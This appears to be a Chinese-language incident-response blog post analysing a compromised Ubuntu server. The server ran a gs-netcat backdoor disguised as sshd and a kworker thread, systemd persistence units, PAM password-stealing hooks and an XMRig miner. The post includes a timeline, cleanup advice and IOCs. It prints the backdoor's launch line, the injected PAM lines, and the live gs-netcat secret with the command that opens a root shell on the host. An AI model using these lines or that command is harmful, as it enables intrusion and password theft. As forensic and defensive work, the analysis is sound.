病毒分析4

u20 (192.168.1.12) 挖矿 / 后门 应急分析报告

  • 分析时间:2026-10-24 10:17 ~ 10:30 CST
  • 分析账号:yangx(uid 1005,不在 sudo 组,只能读文件、不能改系统)
  • 主机:Ubuntu 20.04.6 LTS,内核 5.4.0-216,已运行 137 天
  • 现象:XMRig 门罗币挖矿进程周期性出现

一、结论

主机已被完全控制(root 权限失陷),并且至少从 2025-11-27 起就存在后门。
挖矿进程本身只是"结果",真正的入口/持久化是下面三条链:

  1. gs-netcat 隐蔽远控后门(Global Socket,加密、走公网中继,不需要开放端口)
  2. systemd 服务伪装持久化(进程名伪装成 [kworker/88:9] 内核线程)
  3. PAM 登录钩子(窃取所有登录明文口令 + 登录时执行后门载荷)

攻击者通过 1 拿到 root shell 后,随时可以重新投放 XMRig——所以会出现"杀掉一段时间又冒出来"。


二、关键证据

1. 后门程序:/lib/sshd(伪装成 sshd,实为 gs-netcat)

项目 值
路径 /lib/sshd、/usr/lib/sshd、/usr/bin/nvme(三处同一文件)
SHA256 73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01
大小/时间 4,206,056 字节;/usr/bin/nvme 2025-11-27,/usr/lib/sshd 2026-02-11
归属 不属于任何 deb 包(dpkg -S 查无)
真实身份 gs-netcat 1.4.42(GSocket 隐蔽通道工具,编译于 2025-03-16)

运行方式(systemd 单元 ExecStart):

/bin/bash -c "GS_ARGS='-k /lib/grub.log -ilq' exec -a '[kworker/88:9]' '/lib/sshd'"
  • -k <file>:从文件读"密钥/口令"
  • exec -a '[kworker/88:9]':把进程名伪装成内核工作线程,ps/top 里极易漏看
  • 当前活体进程:PID 3081284,ppid=1,uid=0,/proc/3081284/cmdline 为 [kworker/88:9],comm 为 sshd

后门密钥(gs-netcat secret):

pzzG4yO8BqmqbGxz6qeWOz1

同时保存在 /lib/grub.log、/lib/os-releases(各 24 字节)。攻击者只需执行
gs-netcat -s pzzG4yO8BqmqbGxz6qeWOz1 -i 即可从任意位置拿到本机 root shell,
不依赖任何监听端口,防火墙拦不住。

2. systemd 持久化单元

文件 状态 说明
/etc/systemd/system/systemd-udev-sessions.service enabled / running(2026-10-10 15:03 启动) 伪装成 D-Bus/udev 服务,拉起上面的 gs-netcat
/lib/systemd/system/NetworkManager-w-online.service disabled / dead 伪装成 NetworkManager(真名是 NetworkManager-wait-online),Restart=always + RestartSec=1200,即每 20 分钟自动复活一个后门实例

后者与"每隔一段时间就出来"的节奏高度吻合。

3. PAM 后门(最危险)

/etc/pam.d/ 中被注入 4 行:

common-auth:27   auth    optional pam_exec.so quiet expose_authtok /boot/grub/grubnv
common-auth:28   session optional pam_exec.so quiet /usr/bin/fd-monitor
common-session:32 session optional pam_exec.so quiet /usr/bin/watching
sshd:56          session optional pam_exec.so quiet /usr/bin/watching
  • expose_authtok = 把明文口令通过 stdin 交给 /boot/grub/grubnv
  • grubnv 是 Go 程序,符号含 main.PASSWORD、encryptAES、isDuplicate、readLines
    → 口令窃取器(AES 加密、去重后外传)
  • watching、fd-monitor 为登录时执行的载荷(watching 符号含 key_with_file、rmarg(抹除命令行参数)、xsh,是典型的"启动器 + 反取证")

影响:自 2026-01-23 起,所有通过口令登录本机(SSH/su/sudo)的账号密码均已泄露。

4. 挖矿相关痕迹

  • /etc/sysctl.conf 被加入 vm.nr_hugepages,运行时实际值 3511(约 7GB 大页),
    当前 HugePages_Rsvd=86 说明仍有进程占用大页——这是 XMRig/RandomX 的标准优化项。
  • 全盘未发现 xmrig 二进制或配置(可读范围内),推测矿马是按需投放(在 /root、/tmp、
    /dev/shm 或内存中运行,跑完即删)。

三、时间线(据文件 mtime)

时间 事件
2025-11-27 首次植入:gs-netcat(/usr/bin/nvme、/lib/sshd)、两个伪装 systemd 单元、/boot/grub/grubnv、/usr/bin/watching、PAM 注入
2026-01-23 追加 expose_authtok 口令窃取(grubnv + fd-monitor)、写入 vm.nr_hugepages
2026-02-11 更新 gs-netcat(/usr/lib/sshd)
2026-10-10 15:03 systemd-udev-sessions.service 被启用并启动,至今存活

四、为什么"杀掉又出来"

  1. 攻击者持有 gs-netcat root shell,可随时重新上传/运行 XMRig;
  2. NetworkManager-w-online.service 带 Restart=always、RestartSec=1200,每 20 分钟复活;
  3. PAM 钩子在每次登录时执行载荷(也可能触发挖矿);
  4. 大页参数已为矿机调优,说明这是"长期经营",不是一次性的。

只 kill 挖矿进程无效——必须切断上面 1~3 条链。


五、处置建议

方案 A(强烈推荐):重装系统

攻击者已 root 近一年,且能窃取明文口令,任何"清理"都无法保证没有第四、第五个后门
(内核模块、/root/.ssh、Docker 镜像、GitLab、LXD 容器、固件等均可能被动过)。
备份数据(只取业务文件,不取可执行文件/配置),重装,再恢复。

方案 B(应急清理,至少要做)

以 root 执行本目录下 cleanup.sh(会先备份到 /root/ir-backup-*),然后人工完成:

  1. crontab -l -u root、ls -la /var/spool/cron/crontabs/ 检查挖矿任务
  2. cat /root/.ssh/authorized_keys 删除陌生公钥
  3. cat /etc/ld.so.preload(正常应不存在)
  4. docker ps -a、lxc list 检查异常容器/镜像
  5. 重置全部账号密码(含 root、GitLab、Samba),并更换所有 SSH 密钥
  6. 检查 GitLab(本机 8080/8443)与 Samba(445)是否有被撞库/新增账号
  7. 检查 /etc/sudoers.d/、/etc/passwd 是否有新增特权账号

清理后仍建议尽快重装。

加固

  • 关闭口令登录,只允许密钥(本机 sshd_config 目前未禁用密码登录)
  • 限制 22 / 2222 / 445 / 8080 的来源 IP
  • 部署 auditd + 文件完整性监控(AIDE),监控 /etc/pam.d、/etc/systemd/system、/lib、/usr/bin
  • 定期用 dpkg -V 与 rpm -Va 这类基线校验比对系统文件

六、附:IOC 汇总

文件
  /etc/systemd/system/systemd-udev-sessions.service
  /etc/systemd/system/multi-user.target.wants/systemd-udev-sessions.service
  /lib/systemd/system/NetworkManager-w-online.service
  /lib/sshd  /usr/lib/sshd  /usr/bin/nvme
  /lib/grub.log  /lib/os-releases
  /boot/grub/grubnv
  /usr/bin/watching  /usr/bin/fd-monitor

哈希(SHA256)
  73925dcd7aabda2fbe487dda75ad8b57f56e45c9f44915bdcada328a3190aa01  gs-netcat(/lib/sshd,/usr/bin/nvme)
  876e2341d00455e638758dd15bada3130950b8dba105ca99dd3446760c8d85bb  /boot/grub/grubnv
  9fe3bee06c46fff73c7cebfac40b40e08428f60e82c55305fe5e1774a1d30949  /usr/bin/watching
  07903ddd036eb8389c13d298dd4a5a17f46499c83d2ffcb491995ddfe5eeab5c  /usr/bin/fd-monitor

字符串
  pzzG4yO8BqmqbGxz6qeWOz1     (gs-netcat secret)
  gs-netcat [-skrlgvqwCTLtSDuim]  (二进制特征)
  exec -a '[kworker/88:9]'    /  '[kworker/78:10]'
  pam_exec.so ... /boot/grub/grubnv | /usr/bin/watching | /usr/bin/fd-monitor

注:本次分析以 yangx 身份进行,无法读取 /root、/var/log/auth.log、root crontab、
Docker/LXD 内部。以上为可确认部分,实际情况可能更多。

posted @ 2026-10-24 14:12  杨旭0324  阅读(4)  评论(0)    收藏  举报